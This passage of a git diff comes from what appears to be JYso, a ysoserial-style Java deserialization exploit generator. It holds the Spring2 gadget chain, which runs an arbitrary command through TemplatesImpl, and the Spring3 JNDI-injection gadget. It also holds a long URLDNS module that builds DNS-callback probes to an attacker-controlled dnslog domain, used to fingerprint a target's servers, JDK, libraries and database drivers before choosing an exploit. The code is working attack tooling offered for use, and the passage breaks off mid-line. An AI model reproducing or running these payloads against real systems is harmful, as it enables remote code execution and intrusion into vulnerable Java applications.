typeTemplatesProxy), - forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); - - Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); - Reflections.setFieldValue(mitp, "provider", typeProviderProxy); - Reflections.setFieldValue(mitp, "methodName", "newTransformer"); - - return mitp; - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import static com.qi4l.JYso.gadgets.utils.Utils.*; +import static java.lang.Class.forName; + +/** + * Just a PoC to proof that the ObjectFactory stuff is not the real problem. + *

+ * Gadget chain: + * TemplatesImpl.newTransformer() + * Method.invoke(Object, Object...) + * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.newTransformer() + * Method.invoke(Object, Object...) + * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@SuppressWarnings({"unused"}) +@Dependencies({ + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + // test deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" +}) +@Authors({Authors.MBECHLER}) +public class Spring2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(templates)); + + final Type typeTemplatesProxy = createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + Type.class, + Templates.class); + + final Object typeProviderProxy = createMemoitizedProxy( + createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); + Reflections.setFieldValue(mitp, "provider", typeProviderProxy); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring3.java b/src/main/java/com/qi4l/JYso/gadgets/Spring3.java index 59bc26d..a2050c5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Spring3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring3.java @@ -1,23 +1,23 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import org.springframework.transaction.jta.JtaTransactionManager; - -@SuppressWarnings({"unused"}) -@Dependencies({"org.springframework:spring-tx:5.2.3.RELEASE", "org.springframework:spring-context:5.2.3.RELEASE", "javax.transaction:javax.transaction-api:1.2"}) -public class Spring3 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - - String jndiURL; - if (command.toLowerCase().startsWith("jndi:")) { - jndiURL = command.substring(5); - } else { - throw new Exception(String.format("Command [%s] not supported", command)); - } - - JtaTransactionManager manager = new JtaTransactionManager(); - manager.setUserTransactionName(jndiURL); - return manager; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import org.springframework.transaction.jta.JtaTransactionManager; + +@SuppressWarnings({"unused"}) +@Dependencies({"org.springframework:spring-tx:5.2.3.RELEASE", "org.springframework:spring-context:5.2.3.RELEASE", "javax.transaction:javax.transaction-api:1.2"}) +public class Spring3 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + + String jndiURL; + if (command.toLowerCase().startsWith("jndi:")) { + jndiURL = command.substring(5); + } else { + throw new Exception(String.format("Command [%s] not supported", command)); + } + + JtaTransactionManager manager = new JtaTransactionManager(); + manager.setUserTransactionName(jndiURL); + return manager; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java index f4e40fc..13b9beb 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java +++ b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java @@ -1,623 +1,623 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import org.apache.logging.log4j.LogManager; -import org.apache.logging.log4j.Logger; - -import java.lang.reflect.Field; -import java.net.URL; -import java.util.HashMap; -import java.util.LinkedList; -import java.util.List; - -/** - * A blog post with more details about this gadget chain is at the url below: - * ... - *

- * This was inspired by Philippe Arteau @h3xstream, who wrote a blog - * posting describing how he modified the Java Commons Collections gadget - * in ysoserial to open a URL. This takes the same idea, but eliminates - * the dependency on Commons Collections and does a DNS lookup with just - * standard JDK classes. - *

- * The Java URL class has an interesting property on its equals and - * hashCode methods. The URL class will, as a side effect, do a DNS lookup - * during a comparison (either equals or hashCode). - *

- * As part of deserialization, HashMap calls hashCode on each key that it - * deserializes, so using a Java URL object as a serialized key allows - * it to trigger a DNS lookup. - *

- * Gadget Chain: - * HashMap.readObject() - * HashMap.putVal() - * HashMap.hash() - * URL.hashCode() - */ - -@SuppressWarnings({"unused"}) -@Dependencies() -@Authors({Authors.GEBL}) -public class URLDNS implements ObjectPayload { - private static final Logger log = LogManager.getLogger(URLDNS.class); - public static String[] defaultClass = new String[]{ - "CommonsCollections13567", - "CommonsCollections24", - "C3P0", - "AspectJWeaver", - "bsh", - "Groovy", - "Becl", - "Jdk7u21", - "JRE8u20", - "ROME", - "Jackson", - "SpringAOP", - "winlinux", - "jdk17_22", - "jdk9_22", - "jdk6_8", - "jdk6_11", - "jdk9_10", - "cb", - "db", - "datasource", - "jndiAttack", - "other", - "gadget", - "jdk", - "web" - }; - - - public static List list = new LinkedList<>(); - - public static Object getURLDNSGadget(String urls, String clazzName) throws Exception { - HashMap hashMap = new HashMap<>(); - URL url = new URL("http://" + urls); - Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); - f.setAccessible(true); - f.set(url, 0); - Class clazz = null; - - if (clazzName != null) { - try { - clazz = com.qi4l.JYso.gadgets.utils.Utils.makeClass(clazzName); - } catch (Exception e) { - clazz = Class.forName(clazzName); - } - } - - hashMap.put(url, clazz); - f.set(url, -1); - return hashMap; - } - - public static void setList(String clazzName, String dnsLog) throws Exception { - - - switch (clazzName) { - case "web": - Object tomcat_webserver = getURLDNSGadget("tomcat_webserver." + dnsLog, "org.apache.catalina.startup.Catalina"); - list.add(tomcat_webserver); - Object javax_servlet_tomcat9 = getURLDNSGadget("javax_servlet_tomcat9." + dnsLog, "javax.servlet.http.HttpServlet"); - list.add(javax_servlet_tomcat9); - Object jakarta_servlet_tomcat10 = getURLDNSGadget("jakarta_servlet_tomcat10." + dnsLog, "jakarta.servlet.http.HttpServlet"); - list.add(jakarta_servlet_tomcat10); - Object weblogic_webserver = getURLDNSGadget("weblogic_webserver." + dnsLog, "weblogic.servlet.internal.WebAppModule"); - list.add(weblogic_webserver); - Object resin_webserver = getURLDNSGadget("resin_webserver." + dnsLog, "com.caucho.server.resin.Resin"); - list.add(resin_webserver); - Object jetty_webserver = getURLDNSGadget("jetty_webserver." + dnsLog, "org.eclipse.jetty.server.Server"); - list.add(jetty_webserver); - Object websphere_webserver = getURLDNSGadget("websphere_webserver." + dnsLog, "com.ibm.wsspi.sib.core.exception.SINotAuthorizedException"); - list.add(websphere_webserver); - Object undertow_webserver = getURLDNSGadget("undertow_webserver." + dnsLog, "io.undertow.server.Connectors"); - list.add(undertow_webserver); - Object glassfish_webserver = getURLDNSGadget("glassfish_webserver." + dnsLog, "org.glassfish.jersey.server.ContainerException"); - list.add(glassfish_webserver); - Object tongweb_webserver1 = getURLDNSGadget("tongweb_webserver1." + dnsLog, "com.tongweb.catalina.core.StandardHost"); - list.add(tongweb_webserver1); - Object tongweb_webserver2 = getURLDNSGadget("tongweb_webserver2." + dnsLog, "com.tongweb.catalina.startup.ThanosCatalina"); - list.add(tongweb_webserver2); - Object tongweb_webserver3 = getURLDNSGadget("tongweb_webserver3." + dnsLog, "com.tongweb.catalina.startup.Bootstrap"); - list.add(tongweb_webserver3); - Object bes_webserver = getURLDNSGadget("bes_webserver." + dnsLog, "com.bes.enterprise.webtier.LifecycleException"); - list.add(bes_webserver); - Object cvicse_webserver = getURLDNSGadget("cvicse_webserver." + dnsLog, "com.cvicse.enterprise.connectors.ConnectorRuntime"); - list.add(cvicse_webserver); - Object primeton_webserver = getURLDNSGadget("primeton_webserver." + dnsLog, "com.primeton.appserver.enterprise.v3.common.XMLContentActionReporter"); - list.add(primeton_webserver); - Object apusic_webserver = getURLDNSGadget("apusic_webserver." + dnsLog, "com.apusic.web.container.WebContainer"); - list.add(apusic_webserver); - Object kingdee_webserver = getURLDNSGadget("kingdee_webserver." + dnsLog, "com.kingdee.eas.hse.scm.service.app.OnlineOrderInterface"); - list.add(kingdee_webserver); - break; - case "jdk": - Object jdk_17_to_22 = getURLDNSGadget("jdk_17_to_22." + dnsLog, "jdk.internal.util.random.RandomSupport"); - list.add(jdk_17_to_22); - Object jdk_9_to_22_Unsafe = getURLDNSGadget("jdk_9_to_22_Unsafe." + dnsLog, "jdk.internal.misc.Unsafe"); - list.add(jdk_9_to_22_Unsafe); - Object jdk_le_8_BASE64Decoder = getURLDNSGadget("jdk_le_8_BASE64Decoder." + dnsLog, "sun.misc.BASE64Decoder"); - list.add(jdk_le_8_BASE64Decoder); - Object jdk_6_to_11 = getURLDNSGadget("jdk_6_to_11." + dnsLog, "com.sun.awt.SecurityWarning"); - list.add(jdk_6_to_11); - Object jdk_9_to_10 = getURLDNSGadget("jdk_9_to_10." + dnsLog, "jdk.incubator.http.HttpClient"); - list.add(jdk_9_to_10); - Object jdk8_Base64 = getURLDNSGadget("jdk8_Base64." + dnsLog, "java.util.Base64"); - list.add(jdk8_Base64); - Object jdk_xml_utils_Base64 = getURLDNSGadget("jdk_xml_utils_Base64." + dnsLog, "com.sun.org.apache.xml.internal.security.utils.Base64"); - list.add(jdk_xml_utils_Base64); - Object jrmp = getURLDNSGadget("jrmp." + dnsLog, "java.rmi.server.UnicastRemoteObject"); - list.add(jrmp); - Object Runtime = getURLDNSGadget("Runtime." + dnsLog, "java.lang.Runtime"); - list.add(Runtime); - Object ProcessBuilder = getURLDNSGadget("ProcessBuilder." + dnsLog, "java.lang.ProcessBuilder"); - list.add(ProcessBuilder); - Object activej_DefiningClassLoader = getURLDNSGadget("activej_DefiningClassLoader." + dnsLog, "io.activej.codegen.DefiningClassLoader"); - list.add(activej_DefiningClassLoader); - Object bcel = getURLDNSGadget("bcel." + dnsLog, "com.sun.org.apache.bcel.internal.util.ClassLoader"); - list.add(bcel); - Object cc_bypass_DefiningClassLoader = getURLDNSGadget("cc_bypass_DefiningClassLoader." + dnsLog, "sun.org.mozilla.javascript.internal.DefiningClassLoader"); - list.add(cc_bypass_DefiningClassLoader); - Object cc_bypass_DefiningClassLoader2 = getURLDNSGadget("cc_bypass_DefiningClassLoader2." + dnsLog, "org.mozilla.javascript.DefiningClassLoader"); - list.add(cc_bypass_DefiningClassLoader2); - Object xalan_TemplatesImpl = getURLDNSGadget("xalan_TemplatesImpl." + dnsLog, "org.apache.xalan.xsltc.trax.TemplatesImpl"); - list.add(xalan_TemplatesImpl); - Object jdk_TemplatesImpl = getURLDNSGadget("jdk_TemplatesImpl." + dnsLog, "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); - list.add(jdk_TemplatesImpl); - break; - case "gadget": - Object BadAttributeValueExpException = getURLDNSGadget("BadAttributeValueExpException." + dnsLog, "javax.management.BadAttributeValueExpException"); - list.add(BadAttributeValueExpException); - Object jackson_POJONode = getURLDNSGadget("jackson_POJONode." + dnsLog, "com.fasterxml.jackson.databind.node.POJONode"); - list.add(jackson_POJONode); - Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); - list.add(fastjson); - Object fastjson2 = getURLDNSGadget("fastjson2." + dnsLog, "com.alibaba.fastjson2.JSONArray"); - list.add(fastjson2); - Object UnicastRef = getURLDNSGadget("UnicastRef." + dnsLog, "sun.rmi.server.UnicastRef"); - list.add(UnicastRef); - Object fileupload_DiskFileItem = getURLDNSGadget("fileupload_DiskFileItem." + dnsLog, "org.apache.commons.fileupload.disk.DiskFileItem"); - list.add(fileupload_DiskFileItem); - Object fileupload_FileItem = getURLDNSGadget("fileupload_FileItem." + dnsLog, "org.apache.commons.fileupload.FileItem"); - list.add(fileupload_FileItem); - Object cc_TreeBag = getURLDNSGadget("cc_TreeBag." + dnsLog, "org.apache.commons.collections.bag.TreeBag"); - list.add(cc_TreeBag); - Object SignedObject = getURLDNSGadget("SignedObject." + dnsLog, "java.security.SignedObject"); - list.add(SignedObject); - Object MapMessage = getURLDNSGadget("MapMessage." + dnsLog, "org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage"); - list.add(MapMessage); - Object weblogic_gadget = getURLDNSGadget("weblogic_gadget." + dnsLog, "oracle.ucp.jdbc.PoolDataSourceImpl"); - list.add(weblogic_gadget); - Object spring_aop1_for_jackson = getURLDNSGadget("spring_aop1_for_jackson." + dnsLog, "org.springframework.aop.framework.AdvisedSupport"); - list.add(spring_aop1_for_jackson); - Object spring_aop2_for_jackson = getURLDNSGadget("spring_aop2_for_jackson." + dnsLog, "org.springframework.aop.framework.JdkDynamicAopProxy"); - list.add(spring_aop2_for_jackson); - Object jdk9_jshell = getURLDNSGadget("jdk9_jshell." + dnsLog, "jdk.jshell.JShell"); - list.add(jdk9_jshell); - Object jdk9 = getURLDNSGadget("jdk9." + dnsLog, "jdk.internal.loader.ClassLoaders$AppClassLoader"); - list.add(jdk9); - Object jxpath_gadget = getURLDNSGadget("jxpath_gadget." + dnsLog, "org.apache.commons.jxpath.ri.model.NodePointer"); - list.add(jxpath_gadget); - Object ASeq_gadget = getURLDNSGadget("ASeq_gadget." + dnsLog, "clojure.lang.ASeq"); - list.add(ASeq_gadget); - Object Page_gadget = getURLDNSGadget("Page_gadget." + dnsLog, "org.htmlparser.lexer.Page"); - list.add(Page_gadget); - Object tomcat_dbcp_getter1 = getURLDNSGadget("tomcat_dbcp_getter1." + dnsLog, "org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource"); - list.add(tomcat_dbcp_getter1); - Object tomcat_dbcp_getter2 = getURLDNSGadget("tomcat_dbcp_getter2." + dnsLog, "org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource"); - list.add(tomcat_dbcp_getter2); - Object tomcat_dbcp2_getter1 = getURLDNSGadget("tomcat_dbcp2_getter1." + dnsLog, "org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource"); - list.add(tomcat_dbcp2_getter1); - Object tomcat_dbcp2_getter2 = getURLDNSGadget("tomcat_dbcp2_getter2." + dnsLog, "org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource"); - list.add(tomcat_dbcp2_getter2); - Object postgresql_getter = getURLDNSGadget("postgresql_getter." + dnsLog, "org.postgresql.ds.PGConnectionPoolDataSource"); - list.add(postgresql_getter); - Object mysql_getter = getURLDNSGadget("mysql_getter." + dnsLog, "com.mysql.jdbc.jdbc2.optional.MysqlDataSource"); - list.add(mysql_getter); - Object druid_getter1_DruidDataSource = getURLDNSGadget("druid_getter1_DruidDataSource." + dnsLog, "com.alibaba.druid.pool.DruidDataSource"); - list.add(druid_getter1_DruidDataSource); - Object druid_getter2_DruidQuartzConnectionProvider = getURLDNSGadget("druid_getter2_DruidQuartzConnectionProvider." + dnsLog, "com.alibaba.druid.support.quartz.DruidQuartzConnectionProvider"); - list.add(druid_getter2_DruidQuartzConnectionProvider); - Object druid_getter3_DruidXADataSource = getURLDNSGadget("druid_getter3_DruidXADataSource." + dnsLog, "com.alibaba.druid.pool.xa.DruidXADataSource"); - list.add(druid_getter3_DruidXADataSource); - Object common_dbcp_getter1 = getURLDNSGadget("common_dbcp_getter1." + dnsLog, "org.apache.commons.dbcp.datasources.SharedPoolDataSource"); - list.add(common_dbcp_getter1); - Object common_dbcp_getter2 = getURLDNSGadget("common_dbcp_getter2." + dnsLog, "org.apache.commons.dbcp.datasources.PerUserPoolDataSource"); - list.add(common_dbcp_getter2); - Object common_dbcp2_getter1 = getURLDNSGadget("common_dbcp2_getter1." + dnsLog, "org.apache.commons.dbcp2.datasources.SharedPoolDataSource"); - list.add(common_dbcp2_getter1); - Object common_dbcp2_getter2 = getURLDNSGadget("common_dbcp2_getter2." + dnsLog, "org.apache.commons.dbcp2.datasources.PerUserPoolDataSource"); - list.add(common_dbcp2_getter2); - Object spring_aop_HotSwappableTargetSource = getURLDNSGadget("spring_aop_HotSwappableTargetSource." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource"); - list.add(spring_aop_HotSwappableTargetSource); - Object resin_qname_rce = getURLDNSGadget("resin_qname_rce." + dnsLog, "com.caucho.naming.QName"); - list.add(resin_qname_rce); - break; - case "other": - Object spel = getURLDNSGadget("spel." + dnsLog, "org.springframework.expression.spel.standard.SpelExpressionParser"); - list.add(spel); - Object commons_KeyedObjectPoolFactory = getURLDNSGadget("commons_KeyedObjectPoolFactory." + dnsLog, "org.apache.commons.pool.KeyedObjectPoolFactory"); - list.add(commons_KeyedObjectPoolFactory); - Object tomcat_PooledObjectFactory = getURLDNSGadget("tomcat_PooledObjectFactory." + dnsLog, "org.apache.commons.pool2.PooledObjectFactory"); - list.add(tomcat_PooledObjectFactory); - Object hibernate_rce = getURLDNSGadget("hibernate_rce." + dnsLog, "org.hibernate.jmx.StatisticsService"); - list.add(hibernate_rce); - Object mysql_MiniAdmin = getURLDNSGadget("mysql_MiniAdmin." + dnsLog, "com.mysql.cj.jdbc.admin.MiniAdmin"); - list.add(mysql_MiniAdmin); - Object OracleCachedRowSet_jndi = getURLDNSGadget("OracleCachedRowSet_jndi." + dnsLog, "oracle.jdbc.rowset.OracleCachedRowSet"); - list.add(OracleCachedRowSet_jndi); - Object oracle_jdbcrowset = getURLDNSGadget("oracle_jdbcrowset." + dnsLog, "oracle.jdbc.rowset.OracleJDBCRowSet"); - list.add(oracle_jdbcrowset); - Object dameng_DmdbRowSet = getURLDNSGadget("dameng_DmdbRowSet." + dnsLog, "dm.jdbc.driver.DmdbRowSet"); - list.add(dameng_DmdbRowSet); - Object jboss_rce = getURLDNSGadget("jboss_rce." + dnsLog, "org.jboss.util.propertyeditor.DocumentEditor"); - list.add(jboss_rce); - Object myfaces_rce = getURLDNSGadget("myfaces_rce." + dnsLog, "org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression"); - list.add(myfaces_rce); - Object jython_rce = getURLDNSGadget("jython_rce." + dnsLog, "org.python.core.PyBytecode.PyBytecode"); - list.add(jython_rce); - Object rome_rce = getURLDNSGadget("rome_rce." + dnsLog, "com.sun.syndication.feed.impl.ObjectBean"); - list.add(rome_rce); - Object vaadin_rce = getURLDNSGadget("vaadin_rce." + dnsLog, "com.vaadin.data.util.PropertysetItem"); - list.add(vaadin_rce); - Object wicket_rce = getURLDNSGadget("wicket_rce." + dnsLog, "org.apache.wicket.util.upload.DiskFileItem"); - list.add(wicket_rce); - Object rhino_js_rce = getURLDNSGadget("rhino_js_rce." + dnsLog, "org.mozilla.javascript.NativeError"); - list.add(rhino_js_rce); - Object hibernate_Getter = getURLDNSGadget("hibernate_Getter." + dnsLog, "org.hibernate.property.Getter"); - list.add(hibernate_Getter); - Object hibernate_TypedValue = getURLDNSGadget("hibernate_TypedValue." + dnsLog, "org.hibernate.engine.spi.TypedValue"); - list.add(hibernate_TypedValue); - Object net_sf_json_rce = getURLDNSGadget("net_sf_json_rce." + dnsLog, "net.sf.json.JSONObject"); - list.add(net_sf_json_rce); - Object clojure_rce = getURLDNSGadget("clojure_rce." + dnsLog, "clojure.lang.PersistentArrayMap"); - list.add(clojure_rce); - Object click_rce = getURLDNSGadget("click_rce." + dnsLog, "org.apache.click.control.Table"); - list.add(click_rce); - Object WildFly_rce = getURLDNSGadget("WildFly_rce." + dnsLog, "org.jboss.as.connector.subsystems.datasources.WildFlyDataSource"); - list.add(WildFly_rce); - Object WildFly_rce1 = getURLDNSGadget("WildFly_rce1." + dnsLog, "org.apache.batik.swing.JSVGCanvas"); - list.add(WildFly_rce1); - Object hibernate_core_4 = getURLDNSGadget("hibernate_core_4.x." + dnsLog, "org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl"); - list.add(hibernate_core_4); - Object tomcat9_not_version8 = getURLDNSGadget("tomcat9_not_version8." + dnsLog, "org.apache.catalina.util.ToStringUtil"); - list.add(tomcat9_not_version8); - Object log4j_jndi = getURLDNSGadget("log4j_jndi." + dnsLog, "org.apache.log4j.receivers.dbMap.JNDIConnectionSource"); - list.add(log4j_jndi); - Object log4j_driver = getURLDNSGadget("log4j_driver." + dnsLog, "org.apache.log4j.receivers.dbMap.DriverManagerConnectionSource"); - list.add(log4j_driver); - Object jdbcRowSet = getURLDNSGadget("jdbcRowSet." + dnsLog, "com.sun.rowset.JdbcRowSetImpl"); - list.add(jdbcRowSet); - Object ibatis_jndi = getURLDNSGadget("ibatis_jndi." + dnsLog, "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"); - list.add(ibatis_jndi); - Object ibatis_XPathParser = getURLDNSGadget("ibatis_XPathParser." + dnsLog, "org.apache.ibatis.parsing.XPathParser"); - list.add(ibatis_XPathParser); - Object LogFactory = getURLDNSGadget("LogFactory." + dnsLog, "org.apache.juli.logging.LogFactory"); - list.add(LogFactory); - Object MXParser = getURLDNSGadget("MXParser." + dnsLog, "org.xmlpull.mxp1.MXParser"); - list.add(MXParser); - Object XmlPullParserException = getURLDNSGadget("XmlPullParserException." + dnsLog, "org.xmlpull.v1.XmlPullParserException"); - list.add(XmlPullParserException); - break; - case "jndiAttack": - Object BeanFactory_game_over = getURLDNSGadget("BeanFactory_game_over." + dnsLog, "org.apache.catalina.filters.CsrfPreventionFilter$NonceCache"); - Object BeanFactory_yes = getURLDNSGadget("BeanFactory_yes." + dnsLog, "org.apache.naming.factory.BeanFactory"); - Object bes_BeanFactory = getURLDNSGadget("bes_BeanFactory." + dnsLog, "com.bes.enterprise.naming.factory.BeanFactory"); - Object el = getURLDNSGadget("el." + dnsLog, "javax.el.ELProcessor"); - Object groovy = getURLDNSGadget("groovy." + dnsLog, "groovy.lang.GroovyShell"); - Object BurlapProxyFactory_ObjectFactory = getURLDNSGadget("BurlapProxyFactory_ObjectFactory." + dnsLog, "com.caucho.burlap.client.BurlapProxyFactory"); - Object MemoryUserDatabaseFactory_ObjectFactory = getURLDNSGadget("MemoryUserDatabaseFactory_ObjectFactory." + dnsLog, "org.apache.catalina.users.MemoryUserDatabaseFactory"); - Object UserDatabase = getURLDNSGadget("UserDatabase." + dnsLog, "org.apache.catalina.UserDatabase"); - Object GenericNamingResourcesFactory_ObjectFactory = getURLDNSGadget("GenericNamingResourcesFactory_ObjectFactory." + dnsLog, "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory"); - Object Configuration_modify_system_property = getURLDNSGadget("Configuration_modify_system_property." + dnsLog, "org.apache.commons.configuration.SystemConfiguration"); - Object Configuration2_modify_system_property = getURLDNSGadget("Configuration2_modify_system_property." + dnsLog, "org.apache.commons.configuration2.SystemConfiguration"); - Object groovy_modify_system_env = getURLDNSGadget("groovy_modify_system_env." + dnsLog, "org.apache.groovy.util.SystemUtil"); - Object ibm_ObjectFactory = getURLDNSGadget("ibm_ObjectFactory." + dnsLog, "com.ibm.ws.webservices.engine.client.ServiceFactory"); - Object ibm_ObjectFactory2 = getURLDNSGadget("ibm_ObjectFactory2." + dnsLog, "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory"); - Object snakeyaml = getURLDNSGadget("snakeyaml." + dnsLog, "org.yaml.snakeyaml.Yaml"); - Object xstream = getURLDNSGadget("xstream." + dnsLog, "com.thoughtworks.xstream.XStream"); - Object mvel2_ShellSession = getURLDNSGadget("mvel2_ShellSession." + dnsLog, "org.mvel2.sh.ShellSession"); - Object mvel2 = getURLDNSGadget("mvel2." + dnsLog, "org.mvel2.MVEL"); - Object jexl2 = getURLDNSGadget("jexl2." + dnsLog, "org.apache.commons.jexl2.JexlParser"); - Object jexl3 = getURLDNSGadget("jexl3." + dnsLog, "org.apache.commons.jexl3.scripting.JexlScriptEngine"); - Object ognl = getURLDNSGadget("ognl." + dnsLog, "com.opensymphony.xwork2.ActionSupport"); - Object NativeLibLoader = getURLDNSGadget("NativeLibLoader." + dnsLog, "com.sun.glass.utils.NativeLibLoader"); - Object velocity_jndi_write = getURLDNSGadget("velocity_jndi_write." + dnsLog, "org.apache.velocity.texen.util.FileUtil"); - Object h2_create_dir = getURLDNSGadget("h2_create_dir." + dnsLog, "org.h2.store.fs.FileUtils"); - Object websphere_jar_rce_ClientJ2CCFFactory = getURLDNSGadget("websphere_jar_rce_ClientJ2CCFFactory." + dnsLog, "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory"); - Object websphere_jar_rce_ServiceFactory = getURLDNSGadget("websphere_jar_rce_ServiceFactory." + dnsLog, "com.ibm.ws.client.applicationclient.ServiceFactory"); - Object PropertiesConfiguration = getURLDNSGadget("PropertiesConfiguration." + dnsLog, "org.apache.commons.configuration.PropertiesConfiguration"); - list.add(BeanFactory_game_over); - list.add(BeanFactory_yes); - list.add(bes_BeanFactory); - list.add(el); - list.add(groovy); - list.add(BurlapProxyFactory_ObjectFactory); - list.add(MemoryUserDatabaseFactory_ObjectFactory); - list.add(UserDatabase); - list.add(GenericNamingResourcesFactory_ObjectFactory); - list.add(Configuration_modify_system_property); - list.add(Configuration2_modify_system_property); - list.add(groovy_modify_system_env); - list.add(ibm_ObjectFactory); - list.add(ibm_ObjectFactory2); - list.add(snakeyaml); - list.add(xstream); - list.add(mvel2_ShellSession); - list.add(mvel2); - list.add(jexl2); - list.add(jexl3); - list.add(ognl); - list.add(NativeLibLoader); - list.add(velocity_jndi_write); - list.add(h2_create_dir); - list.add(websphere_jar_rce_ClientJ2CCFFactory); - list.add(websphere_jar_rce_ServiceFactory); - list.add(PropertiesConfiguration); - break; - case "datasource": - Object jndi_factory_bypass_alibaba_druid = getURLDNSGadget("jndi_factory_bypass_alibaba_druid." + dnsLog, "com.alibaba.druid.pool.DruidDataSourceFactory"); - list.add(jndi_factory_bypass_alibaba_druid); - Object jndi_factory_bypass_tomcat7_and_dbcp1 = getURLDNSGadget("jndi_factory_bypass_tomcat7_and_dbcp1." + dnsLog, "org.apache.tomcat.dbcp.dbcp1.BasicDataSource"); - list.add(jndi_factory_bypass_tomcat7_and_dbcp1); - Object jndi_factory_bypass_tomcat8_and_dbcp2 = getURLDNSGadget("jndi_factory_bypass_tomcat8_and_dbcp2." + dnsLog, "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"); - list.add(jndi_factory_bypass_tomcat8_and_dbcp2); - Object jndi_factory_bypass_common_dbcp = getURLDNSGadget("jndi_factory_bypass_common_dbcp." + dnsLog, "org.apache.commons.dbcp.BasicDataSourceFactory"); - list.add(jndi_factory_bypass_common_dbcp); - Object jndi_factory_bypass_common_dbcp2 = getURLDNSGadget("jndi_factory_bypass_common_dbcp2." + dnsLog, "org.apache.commons.dbcp2.BasicDataSourceFactory"); - list.add(jndi_factory_bypass_common_dbcp2); - Object jndi_factory_bypass_tomcat_jdbc = getURLDNSGadget("jndi_factory_bypass_tomcat_jdbc." + dnsLog, "org.apache.tomcat.jdbc.pool.DataSourceFactory"); - list.add(jndi_factory_bypass_tomcat_jdbc); - Object jndi_spring = getURLDNSGadget("jndi_spring." + dnsLog, "org.springframework.beans.factory.config.PropertyPathFactoryBean"); - list.add(jndi_spring); - Object HikariJNDIFactory_DataSource = getURLDNSGadget("HikariJNDIFactory_DataSource." + dnsLog, "com.zaxxer.hikari.HikariJNDIFactory"); - list.add(HikariJNDIFactory_DataSource); - Object teradata_DataSource = getURLDNSGadget("teradata_DataSource." + dnsLog, "com.teradata.jdbc.TeraDataSource"); - list.add(teradata_DataSource); - break; - case "db": - Object mysql_driver = getURLDNSGadget("mysql_driver." + dnsLog, "com.mysql.jdbc.Driver"); - Object mysql_cj_driver = getURLDNSGadget("mysql_cj_driver." + dnsLog, "com.mysql.cj.jdbc.Driver"); - Object postgresql_driver = getURLDNSGadget("postgresql_driver." + dnsLog, "org.postgresql.Driver"); - Object hsqldb_driver = getURLDNSGadget("hsqldb_driver." + dnsLog, "org.hsqldb.jdbcDriver"); - Object h2_driver = getURLDNSGadget("h2_driver." + dnsLog, "org.h2.Driver"); - Object sqlite_driver = getURLDNSGadget("sqlite_driver." + dnsLog, "org.sqlite.JDBC"); - Object derby_driver = getURLDNSGadget("derby_driver." + dnsLog, "org.apache.derby.jdbc.EmbeddedDriver"); - Object teradata_drvier = getURLDNSGadget("teradata_drvier." + dnsLog, "com.teradata.jdbc.TeraDriver"); - Object db2_driver = getURLDNSGadget("db2_driver." + dnsLog, "COM.ibm.db2.jcc.DB2Driver"); - Object modeshape_driver = getURLDNSGadget("modeshape_driver." + dnsLog, "org.modeshape.jdbc.LocalJcrDriver"); - Object fabric_driver = getURLDNSGadget("fabric_driver." + dnsLog, "com.mysql.fabric.jdbc.FabricMySQLDriver"); - Object dm_driver = getURLDNSGadget("dm_driver." + dnsLog, "dm.jdbc.driver.DmDriver"); - Object sqlserver_driver = getURLDNSGadget("sqlserver_driver." + dnsLog, 